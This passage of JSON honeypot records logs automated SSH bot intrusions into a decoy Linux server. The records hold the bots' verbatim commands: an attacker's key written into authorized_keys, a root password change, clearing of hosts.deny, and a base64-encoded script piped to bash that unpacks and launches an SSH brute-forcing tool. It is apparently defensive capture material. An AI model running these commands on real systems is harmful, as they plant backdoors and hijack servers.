$2;}'"},{"seq":34,"at":"2026-08-22T15:42:12.927883+00:00","kind":"output","latency_ms":513,"data":"24G"},{"seq":35,"at":"2026-08-22T15:42:15.414168+00:00","kind":"input","latency_ms":null,"data":"echo \"root Abc123!!!\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-22T15:42:16.202942+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-22T15:42:16.677257+00:00","kind":"output","latency_ms":473,"data":""},{"seq":38,"at":"2026-08-22T15:42:19.030842+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T15:42:19.529505+00:00","kind":"output","latency_ms":498,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-22T15:42:20.329572+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T15:42:20.837580+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-22T15:42:21.631344+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T15:42:22.421023+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T15:42:23.112749+00:00","kind":"output","latency_ms":691,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-22T15:42:23.902551+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-22T15:42:24.338865+00:00","kind":"output","latency_ms":434,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-22T15:42:25.131278+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-22T15:42:25.560333+00:00","kind":"output","latency_ms":427,"data":""},{"seq":49,"at":"2026-08-22T15:42:34.932498+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":50,"at":"2026-08-22T15:42:34.933138+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Abc123!!!","method":"password","accepted":true,"tier":"other"}]} {"id":"7207bd6d-f105-44ce-ad44-2ecdc0e17b8e","name":"supple-lunar-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"81.192.46.36","src_port":58294,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":373,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T14:19:36.840359+00:00","ended_at":"2026-08-22T14:19:36.951750+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3814,"events":[{"seq":1,"at":"2026-08-22T14:19:08.742360+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T14:19:09.121936+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T14:19:12.666968+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T14:19:12.667525+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T14:19:13.035265+00:00","kind":"input","latency_ms":null,"data":"echo \"root:jP9Gd70SQ2Zh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T14:19:13.414057+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-22T14:19:13.783373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T14:19:13.783999+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T14:19:14.154802+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T14:19:14.227312+00:00","kind":"output","latency_ms":1192,"data":""},{"seq":11,"at":"2026-08-22T14:19:14.872214+00:00","kind":"output","latency_ms":717,"data":"15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-22T14:19:15.246045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T14:19:15.842237+00:00","kind":"output","latency_ms":595,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T14:19:16.209789+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T14:19:16.210331+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T14:19:16.580288+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T14:19:16.580949+00:00","kind":"output","latency_ms":null,"data":" 14:19:16 up 2 days, 11:09, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T14:19:16.949860+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T14:19:16.950500+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T14:19:17.323591+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T14:19:17.324125+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T14:19:17.699494+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T14:19:17.700091+00:00","kind":"output","latency_ms":null,"data":"top - 14:19:17 up 2 days, 11:09, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T14:19:18.066580+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T14:19:18.067070+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T14:19:18.438629+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T14:19:18.439087+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T14:19:18.822227+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T14:19:18.823115+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T14:19:19.206140+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T14:19:20.146363+00:00","kind":"output","latency_ms":941,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-22T14:19:20.521580+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T14:19:21.472010+00:00","kind":"output","latency_ms":950,"data":"25G"},{"seq":34,"at":"2026-08-22T14:19:22.726873+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123456123456\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T14:19:23.104318+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T14:19:23.486775+00:00","kind":"output","latency_ms":384,"data":""},{"seq":37,"at":"2026-08-22T14:19:24.429181+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T14:19:25.074778+00:00","kind":"output","latency_ms":644,"data":"root 123456123456"},{"seq":39,"at":"2026-08-22T14:19:25.453082+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T14:19:26.081168+00:00","kind":"output","latency_ms":628,"data":"root 123456123456"},{"seq":41,"at":"2026-08-22T14:19:26.447876+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T14:19:26.815932+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T14:19:27.329341+00:00","kind":"output","latency_ms":512,"data":"root 123456123456"},{"seq":44,"at":"2026-08-22T14:19:27.694920+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T14:19:28.136778+00:00","kind":"output","latency_ms":437,"data":"root 123456123456"},{"seq":46,"at":"2026-08-22T14:19:28.506310+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T14:19:28.947525+00:00","kind":"output","latency_ms":439,"data":""},{"seq":48,"at":"2026-08-22T14:19:36.841265+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-22T14:19:36.841800+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123456123456","method":"password","accepted":true,"tier":"other"}]} {"id":"23c3a382-7bc4-4bfd-8e04-aae7c518816f","name":"blithe-ashen-opossum","protocol":"ssh","channel_kind":"sftp","src_ip":"203.189.196.168","src_port":51472,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-22T10:38:15.700762+00:00","ended_at":"2026-08-22T10:38:15.696584+00:00","ended_reason":"no channel opened","commands":1,"transcript_bytes":61,"events":[{"seq":1,"at":"2026-08-22T10:38:16.031168+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/.5189460778232226099/sshd (2916352 bytes)"}],"credentials":[{"username":"root","password":"linux","method":"password","accepted":true,"tier":"other"}]} {"id":"a0b73d99-0f20-4e51-aa7c-a0a50f254683","name":"early-civil-opossum","protocol":"ssh","channel_kind":"exec","src_ip":"181.164.12.188","src_port":47690,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":620,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T01:48:04.820032+00:00","ended_at":"2026-08-22T01:48:05.007288+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3555,"events":[{"seq":1,"at":"2026-08-22T01:47:28.005867+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T01:47:28.632543+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T01:47:34.155583+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T01:47:34.156868+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T01:47:34.776185+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1hLYUw2YnM7v\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T01:47:35.250855+00:00","kind":"output","latency_ms":473,"data":""},{"seq":7,"at":"2026-08-22T01:47:35.394086+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-22T01:47:36.010131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-22T01:47:36.010617+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-22T01:47:36.625814+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-22T01:47:37.377826+00:00","kind":"output","latency_ms":751,"data":"15888 5341 10547 401 0 10047"},{"seq":12,"at":"2026-08-22T01:47:37.981529+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T01:47:38.475608+00:00","kind":"output","latency_ms":493,"data":"-rwxr-xr-x 1 root root 142K Apr 7 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T01:47:39.104060+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T01:47:39.104556+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T01:47:39.723856+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T01:47:39.724150+00:00","kind":"output","latency_ms":null,"data":" 01:47:39 up 1 day, 22:37, 0 user, load average: 0.21, 0.2, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T01:47:40.348359+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T01:47:40.348809+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T01:47:40.961827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T01:47:40.962319+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T01:47:41.584176+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T01:47:41.584584+00:00","kind":"output","latency_ms":null,"data":"top - 01:47:41 up 1 day, 22:37, 0 user, load average: 0.21, 0.2, 0.23\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T01:47:42.214714+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T01:47:42.215559+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T01:47:42.828887+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T01:47:42.829505+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T01:47:43.434299+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T01:47:43.434847+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T01:47:44.055790+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T01:47:44.736845+00:00","kind":"output","latency_ms":679,"data":"Model name: AMD EPYC 7713 64-Core Processor\nArchitecture: x86_64"},{"seq":32,"at":"2026-08-22T01:47:45.363867+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T01:47:45.908250+00:00","kind":"output","latency_ms":543,"data":"24.0G"},{"seq":34,"at":"2026-08-22T01:47:47.789965+00:00","kind":"input","latency_ms":null,"data":"echo \"root Administrator_123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T01:47:48.413457+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T01:47:48.887116+00:00","kind":"output","latency_ms":473,"data":""},{"seq":37,"at":"2026-08-22T01:47:50.602838+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T01:47:51.050731+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-22T01:47:51.661873+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T01:47:52.449615+00:00","kind":"output","latency_ms":787,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-22T01:47:53.067938+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T01:47:53.681957+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T01:47:54.202105+00:00","kind":"output","latency_ms":519,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-22T01:47:54.824959+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T01:47:55.272931+00:00","kind":"output","latency_ms":446,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-22T01:47:55.897355+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T01:48:04.821274+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-22T01:48:04.821964+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Administrator_123","method":"password","accepted":true,"tier":"other"}]} {"id":"586c8448-b441-41be-a6a4-ce51a64e72cd","name":"crimson-frank-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"210.79.142.230","src_port":56430,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":740,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T22:44:40.988584+00:00","ended_at":"2026-08-21T22:44:41.220167+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3495,"events":[{"seq":1,"at":"2026-08-21T22:43:57.441928+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T22:43:58.179627+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T22:44:05.385768+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T22:44:05.386428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T22:44:06.182815+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qkXq5jktqR4M\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T22:44:06.922447+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T22:44:07.661524+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T22:44:07.662286+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T22:44:08.415942+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T22:44:09.368103+00:00","kind":"output","latency_ms":951,"data":"15888 1350 10532 0 4005 1311"},{"seq":11,"at":"2026-08-21T22:44:10.106679+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T22:44:11.038652+00:00","kind":"output","latency_ms":931,"data":"-rwxr-xr-x 1 root root 148K Jan 28 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T22:44:11.777452+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T22:44:11.778193+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T22:44:12.517506+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T22:44:12.518149+00:00","kind":"output","latency_ms":null,"data":" 22:44:12 up 1 day, 19:34, 0 user, load average: 0.09, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T22:44:13.255611+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T22:44:13.255954+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T22:44:13.997292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 